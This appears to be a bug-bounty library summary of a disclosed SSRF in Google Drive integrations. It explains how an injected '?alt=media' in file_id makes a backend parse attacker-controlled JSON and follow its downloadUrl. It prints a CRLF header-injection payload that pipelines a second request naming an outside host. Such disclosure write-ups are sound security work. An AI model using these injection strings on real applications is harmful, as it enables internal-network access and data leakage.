# Hacking Google Drive Integrations

Google Drive integrations that parse the file JSON server-side can be fed attacker-controlled JSON via alt=media, letting the downloadUrl field redirect the backend request to internal hosts (SSRF).

- Payout: $17,576
- Severity: high
- Program: Dropbox
- Credited: Harsh Jaiswal
- Disclosed: 2022-01-31
- Write-up quality: 8/10
- Original: https://httpvoid.com/Hacking-Google-Drive-Integrations.md
- Library page: https://bugbountylibrary.com/r/blog%3Ahttpvoid-com-hacking-google-drive-integrations-md
- Tags: domain:web impact:internal-access kind:bounty platform:blog sev:high tech:rest technique:chained technique:source-review vuln:crlf-injection vuln:path-traversal vuln:ssrf

**Target:** Google Drive integration endpoints (file fetch/import)
**Root cause:** Backend places user-controlled file_id into the Google Drive API URL path, allowing path traversal and query injection; the alt=media parameter makes Google return the raw file content instead of JSON, so the app parses attacker-controlled JSON and trusts its downloadUrl.
**Steps:**
1. Create a file payload.txt containing a JSON object mimicking the Drive file response with `downloadUrl` set to attacker URL.
2. Request `/cloud/gdrive/fetch?file_id=<fileId>?alt=media&access_token=<token>` so the backend fetches raw file content.
3. Backend parses attacker JSON and requests the attacker-controlled downloadUrl, producing SSRF.
4. If query params are blocked, inject CRLF into authToken header to pipeline a second request: `x\r\nSSRF:http://rce.ee/...\r\nConnection:keep-alive\r\n\r\nGET /drive/v2/files/<id>?alt=media HTTP/1.1\r\nHost:www.googleapis.com\r\nAuthorization: Bearer ...`
5. Redirect to a 404 page to force a Java exception that leaks the response back.
**How found:** Observed that file_id is concatenated into the Google API URL path, hypothesized path traversal plus query injection; lacking an open redirect on googleapis.com, recalled the alt=media parameter returns raw file bytes, giving control over the parsed JSON and thus downloadUrl.
**Exploitation:** Attacker uploads a crafted file to their own Drive, then supplies its file_id with alt=media so the victim app fetches raw JSON they control; the app extracts downloadUrl and issues a server-side request to an attacker or internal URL, yielding blind or full-read SSRF.
**Escalation:** CRLF in authToken header enabled request pipelining to add query params when path traversal alone was insufficient; redirect-to-404 forced a Java exception to exfiltrate the response body.
**Insight:** When an app fetches a cloud-storage file by ID and then parses its JSON to find a download URL, try injecting `?alt=media` so the API returns your uploaded file's raw contents as the 'JSON' — you then control the URL the server requests next.